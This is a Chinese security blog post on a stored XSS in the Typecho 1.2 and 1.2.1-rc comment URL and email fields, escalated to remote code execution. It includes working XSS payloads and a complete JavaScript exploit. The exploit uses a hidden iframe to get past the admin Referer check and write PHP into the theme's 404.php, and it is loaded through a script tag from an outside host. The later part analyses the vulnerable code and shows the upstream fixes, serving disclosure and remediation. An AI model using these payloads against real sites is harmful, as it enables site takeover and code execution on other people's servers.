0x1影响版本

Typecho 1.2
Typecho 1.2.1-rc

0x2 漏洞复现

0x2.1 1.2版本漏洞复现

1.2.1-rc存在的漏洞 此版本也存在

1.2.0下载地址

https://github.com/typecho/typecho/releases/download/v1.2.0/typecho.zip

安装完成后来到文章评论处,在网站处写入poc

http://xxxxxx/"></a><script>alert(1)</script><a/href="#

52057-a70emef5gmu.png

评论完成后可以在前台文章处直接触发

90761-3m95qajg1li.png

登入管理员来到后台,管理->评论也能触发

32638-fsjmll7s2ya.png

0x2.2 1.2.1-rc版本漏洞复现

1.2.1-rc 下载地址

https://github.com/typecho/typecho/archive/refs/tags/v1.2.1-rc.zip

安装好后来到评论随便填个邮箱

48687-8wi1ou21s4n.png

然后在提交后抓包将邮箱修改成

"></a><script>alert('1')</script>"@example.com

88456-rleip6gqjy7.png

这个在前端评论是不会触发的,需要在后台处才会触发,因为前台并不输出邮箱

07059-fjti8ne36yt.png

0x2.3 XSS到RCE

接下来是通过js编辑模板文件来进行rce

/admin/theme-editor.php

59948-1ztgcepotgl.png

但是typecho后台操作都有Referer验证,如果Referer不是来自domain/admin/theme-editor.php就会编辑失败所以没办法使用js直接发包来编辑模板因为设置Referer头会无法发送

编辑失败.png

这里通过js在网页的末尾插入一个iframe元素来打开模板编辑页面,然后通过iframe来发包就能实现携带可用Referer的包,这个注释包括部分代码是利用ChatGpt实现的还是非常不错的

// 定义一个函数,在网页末尾插入一个iframe元素
function insertIframe() {
    // 获取当前页面路径
    var urlWithoutDomain = window.location.pathname;
    // 判断页面是否为评论管理页面
    var hasManageComments = urlWithoutDomain.includes("manage-comments.php");
    var tSrc='';
    if (hasManageComments){
        // 如果是,则将路径修改为用于修改主题文件的页面地址
        tSrc=urlWithoutDomain.replace('manage-comments.php','theme-editor.php?theme=default&file=404.php');
    }else{
        // 如果不是,则直接使用主题文件修改页面地址
        tSrc='/admin/theme-editor.php?theme=default&file=404.php';
    }
    // 定义iframe元素的属性,包括id、src、width、height和onload事件
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' width='0%' height='0%' onload='writeShell()'></iframe>";
    // 获取网页原始内容
    var originalContent = document.body.innerHTML;
    // 在网页末尾添加iframe元素
    document.body.innerHTML = (originalContent + iframeAttributes);
}

// 定义一个全局变量isSaved,初始值为false
var isSaved = false;

// 定义一个函数,在iframe中写入一段PHP代码并保存
function writeShell() {
    // 如果isSaved为false
    if (!isSaved) { 
        // 获取iframe内的内容区域和“保存文件”按钮元素
        var content = document.getElementById('theme_id').contentWindow.document.getElementById('content');
        var btns = document.getElementById('theme_id').contentWindow.document.getElementsByTagName('button');    
        // 获取模板文件原始内容
        var oldData = content.value;
        // 在原始内容前加入一段phpinfo代码
        content.value = ('<?php phpinfo(); ?>\n') + oldData;
        // 点击“保存文件”按钮
        btns[1].click();
        // 将isSaved设为true,表示已经完成写入操作
        isSaved = true;
    }
}
// 调用insertIframe函数,向网页中添加iframe元素和写入PHP代码的事件
insertIframe();

这里可以在评论处加载js来使用

1.2
http://xxx.xxx.com/"></a><script/src=http://js地址></script><a/href="#

1.2.1-rc
"></a><script/src=http://js地址></script>"@example.com

这里为了演示我直接在控制台执行了不去在调用外部js的方式执行了

演示

然后这里访问模板文件或者让文章404即可触发
/usr/themes/default/404.php/index.php/archives/1/A

24392-cic7enezyf8.png

0x3 漏洞分析

0x3.1 1.2 漏洞分析

var/Widget/Feedback.php文件第 209 行接收url参数也就是我们填写的网址的时候只进行trim去除前后空白字符处理未进行其他处理

06523-bv8mz51l7i.png

            $comment['author'] = $this->request->filter('trim')->author;
            $comment['mail'] = $this->request->filter('trim')->mail;
            $comment['url'] = $this->request->filter('trim')->url;

同理的还有第 308行

    $trackback['url'] = $this->request->filter('trim')->url;

44655-34ddfwxzblk.png

显示用户评论的代码处var/Widget/Base/Comments.php 文件第 271 行 处输出URL处没进行过滤操作导致的文章页面的以及后台评论管理页面的xss

34349-f95mkqqcvds.png

    public function author(?bool $autoLink = null, ?bool $noFollow = null)
    {
        $autoLink = (null === $autoLink) ? $this->options->commentsShowUrl : $autoLink;
        $noFollow = (null === $noFollow) ? $this->options->commentsUrlNofollow : $noFollow;

        if ($this->url && $autoLink) {
            echo '<a href="' . $this->url. '"'
                . ($noFollow ? ' rel="external nofollow"' : null) . '>' . $this->author . '</a>';
        } else {
            echo $this->author;
        }
    }

0x3.2 1.2.1-rc 漏洞分析

/var/Typecho/Validate.php 第97行的验证邮箱函数

public static function email(string $str): bool
{
    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;
}

使用的是php的filter_var函数FILTER_VALIDATE_EMAIL的过滤器来验证一个字符串是否是有效的电子邮件地址,这个过滤器并不能保证安全,因为一个有效的电子邮件地址仍然可以包含一些恶意的代码

参考 https://stackoverflow.com/questions/10433387/does-phps-filter-validate-email-provide-adequate-security

可以看到包含xss payload的邮箱也是可以通过FILTER_VALIDATE_EMAIL验证属于合法邮箱
50108-8ivi2jvqm3.png

我去查看了一下typecho1.1的验证发现是使用的正则是到了1.2开始才换到了filter_var导致了漏洞的出现

public static function email($str)
{
    return preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);
}

0x4 漏洞修复

0x4.1 1.2版本修复

根据 Typecho 仓库的提交历史,可以查看到 b989459 提交内容来修改三个文件内容来修复评论处的网站处xss

var/Widget/Base/Comments.php
var/Widget/Feedback.php
var/Widget/Options.php

https://github.com/typecho/typecho/commit/b989459d87df9cf0c50b010faf6123eea8c5314b

var/Widget/Base/Comments.php 271行

 echo '<a href="' . $this->url . '"' 

修改为

echo '<a href="' . Common::safeUrl($this->url) . '"'

这部分对评论中的网址输出进行了过滤使用safeUrl函数将url中的非法字符串进行处理

87511-xfr90d57xw.png

71044-9ryd4x1pegm.png

var/Widget/Feedback.php 209,308 行

209

$comment['url'] = $this->request->filter('trim')->url;

修改为

$comment['url'] = $this->request->filter('trim', 'url')->url;

308

   $trackback['url'] = $this->request->filter('trim')->url;

修改为

$trackback['url'] = $this->request->filter('trim', 'url')->url;

这部分是对输入进行了处理

41355-msyx83hlsjj.png

var/Widget/Options.php 85行

 * @property bool $commentsRequireURL

修改为

 * @property bool $commentsRequireUrl

还要根据下方的1.2.1-rc版本修复邮箱处的xss

0x4.1 1.2.1-rc版本修复

参考 https://github.com/FaithPatrick/typecho/commit/d9f666f9afd951b86e523a06dbcbbb60b14444a0

1.2.1-rc可以先临时修改/var/Typecho/Validate.php 第99行 修改为

    return filter_var($str, FILTER_VALIDATE_EMAIL) !== false;

修改为

    return (bool) preg_match("/^[_a-z0-9-\.]+@([-a-z0-9]+\.)+[a-z]{2,}$/i", $str);

68357-s9z7ma0e9br.png

修复后重新发包

43271-dszyomvp3j8.png

修复完成后可以根据这篇文章来为typecho来加上一个waf来拦截一些攻击

Last modification:April 21, 2023
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/Typecho-1-2-xss2rce.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢